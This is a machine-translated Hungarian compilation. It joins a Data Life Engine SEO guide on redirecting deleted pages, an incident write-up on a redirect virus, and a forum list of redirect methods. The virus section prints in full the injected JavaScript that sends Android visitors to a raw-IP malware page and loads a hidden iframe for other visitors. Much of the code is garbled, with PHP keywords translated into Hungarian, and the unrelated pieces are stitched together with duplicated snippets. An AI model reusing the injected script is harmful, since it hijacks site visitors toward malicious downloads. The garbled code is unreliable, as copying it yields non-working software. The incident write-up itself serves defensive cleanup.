Szokatlan átirányítási vírus a DLE-ben. Szokatlan átirányítási vírus a DLE-ben. Átirányítás olyan kiadványokhoz, amelyeknek nincs azonosítója a főoldalhoz

04.08.2021 hírek

Van egy oldal a motoron Data Life Engineés úgy döntöttem, megváltoztatom a profilját. Nem drasztikusan, csak hogy egy kicsit leszűkítsük a dolgokat. Ehhez a témához nem kapcsolódó tartalmak több mint felét el kellett távolítanom az oldalról. Apránként elkezdtem takarítani az oldalakat, tartalommal helyettesítve új tartalom. De ennek ellenére változtatnom kellett az URL struktúráján, és emiatt megjelent a webmesterek panelen a , csökkent a forgalom, helyezések egy szűk téma keresésében. Ezenkívül észrevettem, hogy vannak hivatkozások távoli oldalakra olyan fórumokról és szolgáltatásokról, mint az otvet.mail.ru. Az oldalakról való váltáskor 404-es hibaüzenetet kaptak, ezen kívül a technikai tényen kívül további negatív tényezők is következnek - elveszett referencia tömeg, a viselkedési mutatók csökkennek, és szerintem számos negatív következmény.

Úgy döntöttem, hogy ezt egy brutális módszerrel javítom - minden távoli oldalnál ne adjon 404-es hibát, hanem csináljon 301-es átirányítást a fő oldalra. A CMS DLE-ben ennek a feltörésnek a megvalósításához meg kell találnia a kódot az /engine/modules/show.full.php fájlban:

elseif ( ! $news_found ) ( @ fejléc ( "HTTP/1.0 404 nem található" ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; )

elseif(! $news_found) ( @header("HTTP/1.0 404 nem található"); msgbox($lang["all_err_1"], $lang["news_err_12"]); )

és cserélje ki ezzel

// 301 otthoni átirányítás, ha nem található hír/nem létezik elseif(! $news_found) ( header("HTTP/1.0 301 Permanently Moved"); header("Hely: ($config["http_home_url"])"); die("Átirányítás"); )// 301 átirányítás a főoldalra, ha a hír nem található/nem létezik

Mostantól minden alkalommal, amikor egy keresőrobot felveszi vele a kapcsolatot, egy üzenetet kap arról, hogy az oldal információi örökre átkerültek a főoldalra, és a távoli oldalakra mutató link súlya újra elosztásra kerül a főoldalon.

Látogatók innen törölt oldalak csak átirányít a főoldalra, és remélhetőleg kitalálják a keresést.

Most körülbelül ugyanazt az átirányítási logikát írom le, de nem hírekhez, hanem kategóriákhoz. Nyissa meg az /engine/engine.php fájlt, és keresse meg a kódot:

if (! $category_id ) $category_id = "nincs észlelve" ;

if (!$category_id) $category_id = "nincs észlelve";

ami helyett

if ($config [ "allow_alt_url" ] == "igen" ÉS ! $category_id ÉS $view_template != "rss" ) ( fejléc ( "HTTP/1.0 301 véglegesen áthelyezve") ; fejléc( "Hely: ($config["http_home_url"]) ") ; die("Átirányítás"); ) //a probléma megoldása nem létező kategóriákkal

//a probléma megoldása nem létező kategóriákkal if ($config["allow_alt_url"] == "igen" ÉS ! $category_id AND $view_template != "rss") ( header("HTTP/1.0 301 véglegesen áthelyezve" ); header("Hely: ($config["http_home_url"])"); die("Átirányítás"); ) //a probléma megoldása nem létező kategóriákkal

Összes. Most ugyanez fog működni az eltávolított DLE kategóriákra is.

Hello barátok. Végre eljött a mega DLE optimalizálási útmutatóm harmadik része.

Csak most vettem észre rémülten, hogy az útmutató előző második része több mint hat hónapja jelent meg!

A kialakult hagyomány szerint szó lesz, és konkrétan ebben a részben Mesélek a motor néhány funkciójáról, valamint a kicsi, de nagyon hasznos funkciókról és feltörésekről, ami nem passzolt a formátumhoz az előző részekben.

Ez a rész is az oldalcímekhez kapcsolódik, de a második résztől eltérően, ahol a duplikációk ellen harcoltunk és kizártuk azok megjelenését, ebben a részben azt nézzük meg, hogyan lehet megszabadulni a nem létező oldalaktól, amelyek törlés vagy egy hiba a címben.

A bejegyzés frissítve: 2014. május 6:
A motoron végrehajtott változtatások frissítésre kerültek, a motor új verzióinak támogatása hozzáadásra került.
Aktuális a DLE következő verzióihoz: 7.x, 8.x, 9.x, 10.x!

A SEO útmutató további részei:
1. rész, Címoptimalizálás -
2. rész, Küzdelem az ismétlődő tartalom ellen -
4. rész, Javítás a DLE 9.3, 9.4, 9.5, 9.6 verzióihoz -

Átirányítás a nem létező oldalszámozási oldalakról a helyes és meglévő oldalakra

A chipet szó szerint ma találták fel, amikor a webmester panelen az egyik oldalon rengeteg 404-es hibát találtam.

Vegyünk egy nagyon valós helyzetet – valamilyen oknál fogva úgy dönt, hogy módosítja a főoldalon vagy a kategóriaoldalakon megjelenő hírek mennyiségét. Így történt velem: weboldal újratervezés; az oldalak szerkezete teljesen megváltozott; úgy döntöttek, hogy minden oldalon több rövid hírközlést jelenítenek meg (7 volt, most 10). A kimenet a következő volt: sok 404-es hibát tartalmazó oldal jelent meg a webmester panelen. Egyszerű aritmetika, 1000 hír volt az oldalon, oldalanként 7 közlemény jelent meg, ezért csak a főoldalon 1000/7=142 oldalszámozási oldalt kapunk. A változtatások után az oldalak száma pontosan 100 lett. Ennek eredményeként 42 oldal egyszerűen eltűnt. És ha több kategóriát veszünk, akkor már van száz-két nem létező oldal. Rossz, csúnya és általában nem igaz.

Nyissa meg az /engine/modules/show.short.php fájlt és a legalján megtalálja:

} ?>

FELETT add hozzá:

$all_pages_count = @ ceil ( $count_all / $config [ "hírek_száma" ] ) ; if ($cstart > $all_pages_count ) ( if ($all_pages_count > 1 ) ( header () ; header ("Hely: " . $url_page . "/page/" . $all_pages_count . "/" ) ; die () ; ) else(header( "HTTP/1.1 301 véglegesen áthelyezve") ; header("Hely: " . $url_page . "/" ) ; meghal(); ) ) //átirányítás az utolsó oldalra, ha az url a maximális meglévőnél nagyobb oldalt tartalmaz

//átirányítás az utolsó oldalra, ha az url a maximális meglévő oldalnál nagyobb oldalt tartalmaz $all_pages_count = @ceil($count_all / $config["hírek_száma"]); if ($cstart > $all_pages_count) ( if ($all_pages_count > 1) ( header("HTTP/1.1 301 Moved Permanently"); header ("Hely: " . $url_page . "/page/" . $all_pages_count . "/ "); die(); ) else ( header("HTTP/1.1 301 véglegesen áthelyezve"); header ("Hely: " . $url_page . "/"); die(); ) ) //átirányítás az utolsó oldalra , ha az url a maximális meglévőnél nagyobb oldalt tartalmaz

Hadd magyarázzam el egy kicsit a kódot: van egy ellenőrzés a feltételre - ha az aktuális oldalszám nagyobb, mint maximális összeget oldalakat a webhelyen (vagy egy kategóriában), akkor átirányítás történik az utolsó oldalra. Ha a 2. oldalszámot kérik, és csak egy oldal van, akkor átirányítás történik a síroldalra (ill. kezdőlap kategóriák).

Példa az ujjakon, hogy valaki a site.ru/page/435/ webhely oldalát kéri, és ennek a webhelynek csak 268 oldala van, ezért átirányítás történik a site.ru/page/268/ címre.

Átirányítás a nem létező kommentoldalakról a helyes oldalakra

Relevancia: Csak a DLE 8.x, 9.x verziók. Nem releváns a DLE 10.x esetében, mert már magában a motorban van megvalósítva.

Hasonló helyzet az oldalszámozással a megjegyzésekben. Előfordulhat olyan helyzet, hogy például a kommentekben spammeltek, a keresők indexelték az összes kommentoldalt, majd ezt észrevetted és törölted az összes hozzászólást. De a kereső által indexelt oldalak továbbra is megmaradnak, csak nem jelennek meg kommentek, viszont a fő híroldal teljes másolata lesz. Ez szomorú és javítani kell!

Nyissa meg a /engine/classes/comments.class.php fájlt és a legalján megtalálja:

} } ?>

FELETT add hozzá:

//átirányítás a megjegyzések utolsó oldalára, ha az url a maximális meglévő oldalnál nagyobb oldalt tartalmaz if ($this->cstart > $enpages_count) ( header("HTTP/1.1 301 Permanently Moved Permanently"); header("Hely: " . $url ); die(); ) //átirányítás a megjegyzések utolsó oldalára, ha az url a maximális meglévőnél nagyobb oldalt tartalmaz

Nos, most már minden rendben van, ellenőrizheti.

A felesleges karaktereket vagy helytelen végződéseket tartalmazó linkekről a megfelelő címekre irányítson át

Relevancia: A DLE összes verziója. 7.x, 8.x, 9.x, 10.x verziókon tesztelve.

Korábban itt volt egy nagyon bonyolult döntés, ami a motor verziójától függött. De amióta megírtam ezt a bejegyzést, eléggé fejlesztettem a képességeimet ahhoz, hogy írjak egyablakos megoldás a DLE összes verziójához, és általában tökéletes bármilyen motorhoz vagy bármely webhelyhez!

Nyissa meg a .htaccess fájlt, amely a gyökérben és a megtalálja:

RewriteBase / RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteCond %(REQUEST_URI) ^(.*)\.html(.+) RewriteCond %(REQUEST_URI) ^(.*)\riteCon.htm %(REQUEST_URI) ^(.*)\.ht$ RewriteCond %(REQUEST_URI) ^(.*)\.h$ RewriteCond %(REQUEST_URI) ^(.*)\.$ RewriteRule ^(.*)\.(. *) $1.html

A választott CNC típustól függetlenül bármely „görbe” hivatkozásra kattintva a látogató eljut oda, ahová kellett volna.

Átirányítás a már nem létező szakaszokból vagy kategóriákból a főoldalra

Relevancia: A DLE összes verziója. 7.x, 8.x, 9.x, 10.x verziókon tesztelve.

Példa az életből: úgy döntött, hogy megváltoztatja a webhely szerkezetét, vagy egyszerűen törölt néhány kategóriát, mint szükségtelent, ezért ezek az oldalak megszűnnek, és a rájuk mutató hivatkozások valahol megmaradhatnak. Például az emofanokon egyszer volt elérhető blogom a felhasználók számára a site.ru/blog/ címen, és felhasználókra osztották őket, például ez a site.ru/blog/user1/, site.ru/blog /user2/ stb. Hosszú évek óta lebontottam ezeket a blogokat, mint feleslegeseket, de a rájuk mutató linkek és a webmesterpanelen található hibák élnek.

Ezzel a szerkesztéssel elkerülhető az oldalcímek megjelenése is teljes hír kiterjesztés nélkül a végén vagy akár a teljes hír címei nélkül, ha nincs egész URL a végén. Így az előző ponttal együtt ezek a változtatások 99%-ban segítenek elkerülni a helytelen és nem kívánt címek megjelenését.

Nyissa meg az /engine/engine.php fájlt, és megtalálja:

if (! $category_id ) $category_id = "nincs észlelve" ;

if (!$category_id) $category_id = "nincs észlelve";

CSERE a:

//a probléma megoldása nem létező kategóriákkal if (!$category_id ÉS $view_template != "rss") ( header("HTTP/1.0 301 Permanently Moved"); header("Hely: ($config["http_home_url "] )"); die("Átirányítás"); ) //a probléma megoldása nem létező kategóriákkal

Az azonosítóval nem rendelkező kiadványok átirányítása a főoldalra

Relevancia: A DLE összes verziója. 7.x, 8.x, 9.x, 10.x verziókon tesztelve.

Egy másik valós történet az oldalaimról. A webmesterpanelen sok oldal található 404 ilyen jellegű hibával site.ru/category/subcat/page-name.html, és a szabályok szerint ilyennek kell lennie: site.ru/category/subcat/123-page_name .html. Őszintén szólva továbbra sem értem, hogyan és miért tűnt el a hír azonosítója, és ki hivatkozott így a kiadványokra. Soha nem használtam olyan modult és hackelést, amely eltávolítja az azonosítóját az url-ből, ezért vétkezem a felhasználók ellen, akik „ferdén” linkeket helyeznek el a blogjukba az oldalamra. Nos, oké, ez már nem számít, de fontos kezelni ezt a problémát!

Csak a 10.x DLE verziókhoz (valamint a 9.5, 9.6, 9.7 és 9.8 verziókhoz)

A kód új verziója amellett, hogy átirányítja a teljes híroldalak „problémás” címeit, a nem létező vagy törölt statikus oldalakat is átirányítja a főoldalra. Ennek oka a motor megváltozott logikája. Ez egyrészt valószínűleg jó, mert két problémát egy csapásra megoldunk. Másrészt, kezdetben a motor a szokásos 404-es hibát adja - ha elégedett ezzel a dolgokkal, akkor ne hajtsa végre az ebben a bekezdésben leírt változtatásokat.

Nyissa meg a /engine/modules/static.php fájlt és végén találja meg:

@ fejléc ( "HTTP/1.0 404 nem található" ) ; $lang [ "static_page_err" ] = str_replace ("(oldal)" , $name . ".html" , $lang [ "static_page_err" ] ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "static_page_err" ] ) ;

@header("HTTP/1.0 404 nem található"); $lang["static_page_err"] = str_replace ("(oldal)", $név..html", $lang["static_page_err"]); msgbox($lang["all_err_1"], $lang["static_page_err"]);

CSERE a:

// 301 átirányítás a főoldalra azon híroldalak címeiről, ahol az azonosító eltűnt, valamint a nem létező statikus oldalak fejléce("HTTP/1.0 301 Véglegesen áthelyezve"); header("Hely: ($config["http_home_url"])"); die("Átirányítás"); // 301 átirányítás a főoldalra azon híroldalak címeiről, ahol az azonosító eltűnt, valamint a nem létező statikus oldalakról

Régi megoldás. Csak a 7.x, 8.x, 9.0, 9.2 és 9.3 DLE verziókhoz

Minden olyan cím, amely a végén .html-t tartalmaz, és nem tartalmaz azonosítót, a főoldalra kerül. A meglévő és érvényes statikus oldalak, bár szintén nem rendelkeznek azonosítóval az url-ben, nem kerülnek átirányításra, hanem a korábbiak szerint fognak működni.

Nyissa meg az összes /engine/engine.php fájlt és megtalálja:

if ($subaction == "" ) $subaction = "showfull" ; )

if ($subaction == "") $subaction = "showfull"; )

LENT add hozzá:

if ( ( $config [ "allow_alt_url" ] == "yes" ) && (strpos ($_SERVER [ "REQUEST_URI" ] , ".html" ) !== false ) && ($dle_module == "fő" ) ) ( fejléc( "HTTP/1.0 301 véglegesen áthelyezve") ; fejléc( "Hely: ($config["http_home_url"]) ") ; die("Átirányítás"); ) // 301 átirányítás a főoldalra azon híroldalak címeiről, ahol az azonosító eltűnt

// A 301 átirányít a főoldalra a híroldalról, ahol az azonosító eltűnt if (($config["allow_alt_url"] == "yes") && (strpos($_SERVER["REQUEST_URI"], ".html") ! == false) && ($dle_module == "fő")) (header("HTTP/1.0 301 véglegesen áthelyezve"); header("Hely: ($config["http_home_url"])"); die("Átirányítás" ); ) // 301 átirányítás a főoldalra azon híroldalak címeiről, ahol az azonosító eltűnt

A törölt vagy nem létező hírek átirányítása a főoldalra

Relevancia: A DLE összes verziója. 7.x, 8.x, 9.x, 10.x verziókon tesztelve.

Nos, ez egy szokásos helyzet, és bármely webhelyen megtalálható. Törölt néhány hírt, és természetesen 404-es hibaüzenet jelenik meg. Ha ez nem felel meg Önnek, nevezetesen, hogy 404-es hibaüzenetet adnak ki, akkor csinálhat például egy 301-es átirányítást az oldal főoldalára, ami biztosan létezik;)

Nyissa meg a /engine/modules/show.full.php fájlt és megtalálja:

elseif ( ! $news_found ) ( @ fejléc ( "HTTP/1.0 404 nem található" ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; )

elseif(! $news_found) ( @header("HTTP/1.0 404 nem található"); msgbox($lang["all_err_1"], $lang["news_err_12"]); )

CSERE a:

// 301 otthoni átirányítás, ha nem található hír/nem létezik elseif(! $news_found) ( header("HTTP/1.0 301 Permanently Moved"); header("Hely: ($config["http_home_url"])"); die("Átirányítás"); ) // 301 átirányítás a főoldalra, ha a hír nem található/nem létezik

Most, amikor egy nem létező vagy távoli kiadványra lép, átirányítás történik a webhely főoldalára.

Általában, srácok, van egy külön, nagyon nagy bejegyzésem erről.
Azt javaslom, hogy ismerkedjen meg vele, függetlenül attól, hogy csak DLE-vel vagy más CMS-sel dolgozik.

Tilos a webhely részeinek indexelése a robots metatag használatával

Relevancia: A DLE összes verziója. 7.x, 8.x, 9.x, 10.x verziókon tesztelve.

Szóval, ne feledd, nemrég közzétettem egy bejegyzést arról, hogy hol mondtam ezt oldalak bezárása a robots.txt-tel való indexelésből Nem, de bezárom ezzel helyes opció. Nagyon ajánlom ennek a bejegyzésnek az elolvasását.

Ha nem vagy magabiztos, bátran ajánlom a használatát! A modul segítségével sehol nem fog hibázni, és nem kell minden motorfrissítés után elvégeznie ezeket a módosításokat.

Nyissa meg a már kedvelt /engine/engine.php fájlt, keresse meg a haszontalan sort, és törölje:

if ($config["allow_rss"]) $metatags .=<<HTML;

FELETT add hozzá:

if ($subaction == "userinfo" VAGY $subaction == "allnews" VAGY $subaction == "új bejegyzések" VAGY $do == "stats" VAGY $do == "addnews" VAGY $do == "regisztrálás" VAGY $do == "kedvencek" VAGY $do == "szabályok" VAGY $do == "pm" VAGY $do == "visszajelzés" VAGY $do == "utolsó megjegyzések" VAGY $do == "elveszett jelszó" VAGY $do == "keresés" VAGY $do == "lastnews" VAGY $do == "alltags" VAGY $do == "címkék" VAGY $dle_module == "dátum" ) $metatags .= <<HTML;

if ($subaction == "userinfo" VAGY $subaction == "allnews" VAGY $subaction == "új bejegyzések" VAGY $do == "stats" VAGY $do == "addnews" VAGY $do == "regisztrálás" VAGY $do == "kedvencek" VAGY $do == "szabályok" VAGY $do == "pm" VAGY $do == "visszajelzés" VAGY $do == "utolsó megjegyzések" VAGY $do == "elveszett jelszó" VAGY $do == "keresés" VAGY $do == "utolsó hír" VAGY $do == "alltags" VAGY $do == "címkék" VAGY $dle_module == "dátum") $metatags .=<<HTML;

Ha be szeretné zárni az oldalszámozási oldalt az indexelésből, például site.ru/page/X/ vagy site.ru/category/page/X/, akkor hozzá kell adni egy sort:

(intval ($_GET [ "cstart" ] ) > 1 )

(intval($_GET["cstart"]) > 1)

Ennek eredményeként a fenti kód a következőre konvertálódik:

if ($subaction == "userinfo" VAGY $subaction == "allnews" VAGY ... $dle_module == "dátum" VAGY (intval ($_GET [ "cstart" ] ) > 1 ) ) $metatags .= <<HTML;

if ($subaction == "userinfo" VAGY $subaction == "allnews" VAGY ... $dle_module == "dátum" VAGY (intval($_GET["cstart"]) > 1)) $metatags .=<<HTML;

Most elmagyarázom, mit jelentenek az egyes ha záradékok, és készítettem egy csodálatos címkét az Ön számára.

ModulLeírásPélda URL
Felhasználói adatokFelhasználói profil megtekintése.site.ru/user/user_name/
minden hírEgy adott felhasználó híreinek megtekintése.site.ru/user/user_name/news/
új bejegyzésekAz új termékek megtekintése felhasználónként külön-külön csak a regisztrált vendégek számára érhető el, a vendégek számára hibaüzenet jelenik meg.site.ru/newposts/
statisztikaWebhelystatisztika oldal és TOP10 felhasználók.site.ru/statistics.html
addnewsOldal a hírek hozzáadásához az oldalhoz.site.ru/addnews.html
RegisztrációÚj felhasználói regisztrációs űrlap oldal.site.ru/index.php?do=register
kedvencekA kedvencek megtekintésekor, minden felhasználóhoz külön, csak a regisztrált vendégek számára elérhető, hibaüzenet jelenik meg.site.ru/favorites/
szabályokatA regisztráció előtt megjelenő webhelyszabályok oldala, amelyek külön oldalként is léteznek.site.ru/rules.html
délutánEgy felhasználó privát üzeneteinek megtekintése vagy egy űrlap, amellyel személyes üzenetet küldhet a webhely bármely felhasználójának.site.ru/index.php?do=pm
VisszacsatolásVisszajelzés oldal.site.ru/feedback.html
utolsó kommentekEgy webhelybejegyzéshez fűzött összes megjegyzés megtekintése fordított időrendi sorrendben.site.ru/index.php?do=lastcomments
Elfelejtett jelszóJelszó-helyreállítási oldal.site.ru/index.php?do=lostpassword
keresésWebhelykeresés szakasz.site.ru/index.php?do=search
utolsó hírTekintse meg a webhely összes legfrissebb hírét. Az oldal főoldalának és minden oldalszámozási oldalának pontos másolata.site.ru/lastnews/
alltagsAz összes webhelycímke oldalának megtekintése.site.ru/tags/
címkéketEgy adott címkével ellátott bejegyzések megtekintése.site.ru/tags/Tag+Name/
dátumWebhely archívuma. Egy adott évre, hónapra vagy napra vonatkozó publikációk listája.site.ru/2007/ vagy site.ru/2007/06/ vagy site.ru/2007/06/22/

* A legfontosabb pont- az oldalak indexelésének a leírt módszerrel történő bezárásakor el kell távolítani a tiltó szabályokat a robots.txt fájlban azon oldalak és szakaszok esetében, amelyeket a metacímkével zártunk be. Ellenkező esetben nem lesz értelme.

Saját belátása szerint eltávolíthat az általam megadott kódból néhány olyan részt, szakaszt, amelyet nem kötelező lezárni az indexelésből kifejezetten az Ön webhelyére vonatkozóan. Tehát, Kérjük, legyen óvatos.

A rel=”canonical” címke hozzáadása a teljes híroldalak megjelenítéséhez

Relevancia: A DLE összes verziója. 7.x, 8.x, 9.x, 10.x verziókon tesztelve.

Emlékszem, hogy valaki az egyik előző rész kommentjében kérte, hogy mondja el hogyan jelenítheti meg a rel="canonical" címkét a webhelyen található bejegyzésekben, és így, aki nem látta ezt a módszert leíró megjegyzésemet, olvassa el.

Nyissa meg a /engine/modules/show.full.php fájlt és...

a 7.x, 8.x, 9.0, 9.2 és 9.3 DLE verziókhoz találunk:

) else ( $full_link = $config [ "http_home_url" ] . "index.php?newsid=" . $row [ "id" ] ; $print_link = $config [ "http_home_url" ] . "engine/print.php?newsid =" . $row [ "id" ] ; $short_link = "" ; )

) else ($full_link = $config["http_home_url"] . "index.php?newsid=" . $row["id"]; $print_link = $config["http_home_url"] . "engine/print.php?newsid =" . $sor["id"]; $short_link = "";)

a 10.x DLE verziókhoz (valamint a 9.5, 9.6, 9.7 és 9.8) találunk:

) else ( $full_link = $config [ "http_home_url" ] . "index.php?newsid=" . $row [ "id" ] ; $print_link = $config [ "http_home_url" ] . "engine/print.php?newsid =" . $row [ "id" ] ; $short_link = "" ; $link_page = "" ; $hírnév = "" ; )

) else ($full_link = $config["http_home_url"] . "index.php?newsid=" . $row["id"]; $print_link = $config["http_home_url"] . "engine/print.php?newsid =" . $sor["id"]; $short_link = ""; $link_page = ""; $hírnév = "";)

LENT hozzá )

if ($full_canonical) ($metatags .=<<HTML ;)

Mint mindenki más;) Akinek szüksége van rá, használja egészségére.

Valószínűleg elfelejtettem valamit leírni ebben a bejegyzésben, mivel az itt leírt információkat sokáig gyűjtöttem a fejemben, és nem írtam le füzetbe. De ha eszedbe jut valami, vagy szokatlan hibákat találsz a webhelyeden, mindenképpen írd meg a megjegyzésekben, megoldást találok a problémádra, és hozzáadom a bejegyzéshez.

Köszönöm a figyelmet, barátaim, tartsátok a kapcsolatot és iratkozzatok fel a bloghírekre.

Ui. Nem vagyok benne biztos, hogy lesz-e következő része az útmutatónak, mivel jelenleg nincs mit írni bele, minden, ami hasznos lehet, már a meglévő három részben le van írva. De soha nem tudhatod… Minden Öntől és a kérdéseitől és javaslataitól függ!

A hálózat már számos olyan helyzetet leírt, amikor a DLE (Data Life Engine) webhelyét vírussal fertőzték meg, és átirányították egy másik tartományra. Ez a cikk az egyik ilyen webhely-feltörésre összpontosít, de nem valószínű, hogy talál leírást az ilyen típusú fertőzésekről - egyfajta egyedi vírusról, amelyet először észleltek.

Hogyan került a vírus az oldalra?

A fertőzés forrásáról nem lehetett pontos adatokat szerezni. A UPLOADS mappába feltöltött talált fájlok szerint sem találtunk konkrétumot.

Valószínűleg ellopták a webhely tárhelyéről vagy adminisztrációs paneljéről származó jelszót. Az oldalon nem használtak FTP-fiókokat.

Szokatlan átirányítás

A Yandex először november 16-án, vasárnap számolt be a vírus jelenlétéről a Webmester eszköztárban. Az egész így nézett ki:

Keressen vírust az oldalon

A vírus megtalálásához egy speciális szkriptet használtak AI-bolit. Mivel a webhely mérete meghaladta az 1 gigabájtot, nem lehetett közvetlenül a szerveren víruskeresni a fájlokat (nem volt elég futási idő).

Az oldal archívumának helyi lemezre történő letöltése után ellenőrzés indult, aminek eredménye nagyon meglepő volt - a fájlokban nem találtak semmi gyanúsat, de az oldal így is átirányított vagy az obszcén tartományra, vagy gyanús szoftverek letöltésére.

Amikor egy Android operációs rendszert futtató mobiltelefonról érik el a webhelyet, a felhasználók automatikusan átirányításra kerültek a következő oldalra:

Vagy így:

Az egyes fájlokat külön-külön átnézve szintén lehetetlen volt azonosítani a fenyegetést.

Hogyan lehet átirányítást találni egy ilyen DLE fertőzés esetén

Egészen véletlenül a main.tpl sablonban a fájl legalján a . Közvetlenül az online tanácsadó widget kódjában a következő kód volt:

Az utolsó előtti sor tűnt gyanúsnak, ugyanis az ártalmatlan JQuery.ui.js könyvtár egy IP-ként megadott, érthetetlen címről lett betöltve.

Erre a címre lépve a következőket kapjuk:

If(!getCookie("google__analytics__"))( var gate = "http://5.61.34.53/jquery/jquery.php"; var today = new Date(), holnap = new Date(); holnap.setDate(ma .getDate() + 1); setCookie("google__analytics__", 1, holnap.toGMTString()); var ua = navigator.userAgent.toLowerCase(); if(ua.indexOf("android") > -1) ablak. hely = kapu; else( var el = document.createElement("iframe"); document.body.appendChild(el); el.id = "iframe"; el.style.width = 0; el.style.height = 0 ; el.src = "http://5.61.34.53/2c24"; ) ) függvény setCookie (név, érték, lejár, elérési út, tartomány, biztonságos) ( document.cookie = név + "=" + escape(érték) + ((lejár) ? "; expires=" + expires: "") + ((elérési út) ? "; elérési út=" + elérési út: "") + ((domain) ? "; domain=" + domain: "") + ((biztonságos) ? "; biztonságos" : ""); ) függvény getCookie(név) ( var cookie = " " + document.cookie; var search = " " + név + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) ( offset = cookie.indexOf(search ); if (eltolás != -1) ( offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) ( end = cookie.length; ) setStr = unescape(cookie. substring(eltolás, vége)); ) ) return(setStr); )

Ez a sor a szkripttel okozta az átirányítást. Törlésével, az oldalon és a tárhelyen lévő jelszavak megváltoztatásával megszűnt a probléma.

Pontosan miben különbözik ez az átirányító vírus a fertőzés egyéb típusaitól

Az eval, base64 és egyéb előfordulások után kutatva a webhely fájljaiban a NotePad segítségével hiábavaló. A webhely ellenőrzése vírusirtókkal (minden ismert) haszontalan. Az Ai-bolittal végzett ellenőrzés szintén nem hoz eredményt.

Csak manuális módban, önnézettel láthatja az eredményt, mivel a vírus nem magáról az oldalról, hanem külső forrásból töltődik le. A webhelyek ilyen feltörésének elkerülése érdekében soha ne tároljon bejelentkezési adatokat és jelszavakat a böngészőkben, ne tegye több szótagúvá őket, és ne használja az ADMIN rendszergazda nevet. Vigyázzon webhelyeire a DLE-n!

A téma állapota: Lezárva.

  1. A DLE 8.2-re való átállással kapcsolatban regisztrálnia kell egy átirányítást a régi oldalakról az újakra.

    A .htaccess-ben hozzáadom a 301 átirányítást /content/view/121/54/ http://www.site.ru/alan

    Például a tesztet beírókat átirányítjuk a www.test.com oldalra, a többieket az enter.test.com oldalra (a bejegyzések sorrendje fontos

    Megjegyzés: az én céljaimra (a tartomány megváltoztatására) elég volt egy egyszerű 301-es átirányítás első verziója.
    2.
    A mod_rewrite használata (a .htaccess fájlba írva

    A webhelynevek www-vel és anélkül való egyesítésének klasszikus feladatát a következőképpen oldjuk meg:

    Opciók +FollowSymLinks
    Motor újraírása bekapcsolva
    RewriteCond %(HTTP_HOST) ^webhely\.com
    RewriteRule ^(.*)$ http://www.webhelye.com/$1 .

    Vagy alternatív szintaxis:

    Opciók +FollowSymLinks
    Írja újra a motort
    RewriteCond %(HTTP_HOST) ^domain\.com$
    RewriteRule ^(.*)$ http://www.domain.com/$1

    A kijelölés azt jelenti: irányítsa át az ügyfelet és küldjön neki egy 301-es állapotkódot (R=301), és hagyja ezt a szabályt utoljára (L).

    Régi domain átirányítása egy újra:

    Opciók +FollowSymLinks
    Motor újraírása bekapcsolva
    RewriteRule (.*) http://www.newdomain.com/$1

    Ha például a rewrite.html fájlt szeretné betölteni a rewrite.htm helyett, adja hozzá a .htaccess fájlhoz:

    Motor újraírása bekapcsolva
    RewriteBase /
    RewriteRule ^rewrite\.htm$ rewrite.html

    Az összes .htm fájl lecserélése .html fájlokra:

    Motor újraírása bekapcsolva
    RewriteBase /
    RewriteRule ^(.*)\.htm$ $1.html

    3.
    Átirányítás PHP-re:


    header("Helyszín: http://www.newdomain.ru/newdir/newpage.htm");
    kijárat();
    ?>

    Jobb a HTTP/1.1 megadása, mivel a régebbiek nem támogatják a megosztott tárhelyet. Ne felejtse el, hogy a fejléc meghívása előtt semmi sem jelenhet meg (pl. visszhang vagy nyomtatás). Ezért jobb ezt a kódot a php szkript elejére tenni. A php átirányítás teljesebb verziója a továbbított oldal és a hívási paraméterek elmentésével:

    $ref=$_SZERVER["QUERY_STRING"];
    if ($ref!="") $ref="?".$ref;
    header("HTTP/1.1 301 véglegesen áthelyezve");
    header("Hely: http://newdomain.com/".$ref);
    kijárat();
    ?>

    4.
    Átirányítás az ASP-re

    <%@ Language=VBScript %>
    <%
    Response.Status="301 véglegesen áthelyezve"
    Response.AddHeader "Location", "http://www.new-url.com"
    válasz.vége
    %>

    5.
    Átirányítás az ASP.NET-re

    6.
    Átirányítás a ColdFusionra

    <.cfheader statuscode="301" statustext="Moved permanently">
    <.cfheader name="Location" value="http://www.new-url.com">

    7.
    Átirányítás metafrissítéssel

    Ahol 0 az átirányítási késleltetés másodpercben, a newdomain.com az az oldal, amelyre átirányítunk. Egyes régebbi böngészők nem támogatják a 0 értékű metafrissítést; a kompatibilitás érdekében beállíthat nullától eltérő értéket, bár véleményem szerint ez már nem releváns. Egy ilyen átirányítás nem fogja tudni összeragasztani webhelyeit (www-vel és anélkül), és PR-t továbbítani, mivel a keresőmotorok figyelmen kívül hagyják. 200 OK kódot ad vissza, ami megegyezik egy normál oldallal. Ez a technika népszerű a spamküldők körében, ezért csak olyan oldalakon szabad használni, amelyek nem kerülnek indexelésre.
    8.
    Átirányítás JavaScripttel

    A JavaScript átirányításokat leggyakrabban a setTimeout("függvény", késleltetés) függvény használatával valósítják meg.

    Például a kód betöltése után 0,1 másodperccel automatikusan kattintson a "keresési űrlap" "Küldés" gombjára:

    SetTimeout("document.forms["keresőforma"].Submit.click()", 100);

    A „Küldés” gombhoz bármilyen műveletet hozzárendelhet, például új URL megnyitása ebben az ablakban. Az ilyen átirányítások egyébként gyakoribbak a Dorways (DorWay) szervezésekor – a Felhasználó böngészője át lesz irányítva egy másik oldalra, és a JavaScriptet "nem értő" keresőrobot indexeli ezt a felhasználó számára elérhetetlen oldalt. Az ajtóban dolgozók a "szükséges" kulcsszavakkal megtöltött szöveget helyezik el rajta.

    Ha egyszerűen át szeretne irányítani egy másik oldalra, beillesztheti a JavaScript-kód egyik opcióját az alábbiak után:
    * location="http://www.újdomain.com";
    * document.location.href="http://www.újdomain.com";
    * window.location.reload("http://www.újdomain.com");
    * document.location.replace("http://www.újdomain.com");
    Utóbbi esetben már nem lehet visszatérni az átirányító oldalra, mivel annak címe törlődik az előzményekből, ami gyakran szükséges. Ha késleltetésre van szüksége, akkor adja meg a location="http://www.newdomain.com"; függvényként, és illessze be a setTimeout("function()", delay_in_msec); A JavaScruptra való átirányítás nem 301-es átirányítás, és nem adja tovább az oldal PR-jét, és nem tudja biztosítani annak ragasztását sem.

